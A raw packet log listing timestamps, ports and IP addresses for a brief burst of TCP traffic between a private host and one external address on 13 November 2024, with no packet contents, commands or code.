Nov 13, 2024 15:02:38.034435987 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.034444094 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.034476995 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.034492016 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.035574913 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.035689116 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.039484978 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.039560080 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.039565086 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.039648056 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.039680958 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.039700985 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.039729118 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.039733887 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.039767027 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.039788008 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.039807081 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.039834976 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.039860010 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.039882898 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.039897919 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.039911985 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.039938927 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.039958954 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.039979935 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.039988041 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040016890 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040034056 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040050030 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040088892 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040097952 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040132046 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040153027 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040182114 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040199995 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040226936 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040254116 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040262938 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040277958 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040282965 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040302992 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040335894 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040338039 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040364981 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040391922 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040415049 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040419102 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040443897 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040471077 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040474892 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040498018 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040520906 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040527105 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040545940 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040555000 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040580988 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040584087 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040597916 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040611982 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040663958 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040682077 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040709972 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040738106 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040761948 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040766001 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040792942 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040793896 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040807009 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040823936 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040843964 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040852070 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040874958 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040879011 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040906906 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040932894 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040934086 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040960073 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040966034 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.040986061 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.040992975 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.041014910 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.041037083 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.041042089 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.041071892 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.041099072 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.041110992 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.041126013 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.041131973 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.041148901 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.041153908 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.041174889 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.041182041 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.041203976 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.041208982 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.041230917 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.041255951 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.041258097 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.041286945 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.041311026 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.041313887 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.041342974 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.041354895 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.041371107 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.041398048 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.041424036 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.041439056 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.041454077 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.041471004 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.042239904 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.042268038 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.042295933 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.042324066 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.042349100 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.042351961 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.042380095 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.042382956 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.042407036 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.042416096 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.042432070 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.042434931 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.042450905 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.042462111 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.042481899 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.042490005 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.042515993 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.042527914 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.042541027 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.042543888 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.042562962 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.042593956 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.044353962 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.044405937 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.044418097 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.044440985 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.044492960 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.045021057 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.045100927 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.046346903 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.046377897 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.046416044 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.046426058 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.046447992 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.046456099 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.046473026 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.046483040 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.046509981 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.046519041 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.046538115 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.046587944 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.046591043 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.046616077 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.046643972 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.046672106 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.046672106 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.046700954 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.046703100 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.046726942 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.046730995 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.046751976 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.046758890 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.046782970 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.046787024 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.046801090 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.046835899 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.046835899 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.046865940 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.046892881 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.046899080 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.046912909 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.046921015 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.046936989 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.046950102 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.046977043 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047003984 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047004938 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047033072 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047049999 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047061920 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047072887 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047089100 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047111988 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047116995 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047137976 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047144890 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047166109 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047173977 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047197104 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047202110 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047219992 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047251940 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047254086 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047278881 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047302961 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047307014 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047331095 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047348022 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047357082 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047374964 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047403097 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047430038 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047441006 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047457933 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047482014 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047485113 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047507048 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047513962 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047532082 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047542095 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047569036 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047596931 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047600985 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047625065 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047626019 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047646999 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047651052 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047666073 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047676086 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047693968 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047697067 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047714949 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047722101 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047741890 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047749996 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047769070 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047779083 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047797918 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047806978 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047828913 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047833920 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047853947 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047883987 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.047887087 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047916889 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047945023 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047972918 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.047980070 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048001051 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048029900 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048034906 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048048019 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048058033 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048085928 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048106909 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048113108 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048141003 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048146009 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048158884 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048170090 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048193932 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048197031 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048207045 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048224926 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048250914 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048253059 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048285961 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048288107 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048301935 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048312902 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048331022 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048341036 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048362017 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048368931 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048384905 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048397064 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048424006 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048449993 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048450947 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048474073 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048479080 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048504114 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048506975 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048527956 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048535109 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048552990 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048582077 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048585892 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048624039 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048651934 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048652887 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048669100 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048681021 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048701048 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048708916 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048726082 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048737049 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048763990 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048777103 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048791885 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048794031 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048806906 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048820019 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048837900 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048846960 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048875093 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048892021 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048902035 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048929930 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048950911 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048957109 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.048985958 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.048986912 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049014091 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049015045 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049037933 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049041986 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049065113 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049068928 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049093008 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049097061 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049117088 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049124956 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049143076 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049153090 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049180031 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049201965 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049206018 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049221039 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049233913 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049262047 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049272060 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049308062 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049309969 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049348116 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049375057 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049397945 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049402952 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049415112 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049431086 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049455881 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049458027 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049479961 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.049487114 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.049509048 CET	49744	13484	192.168.2.7	193.70.111.186
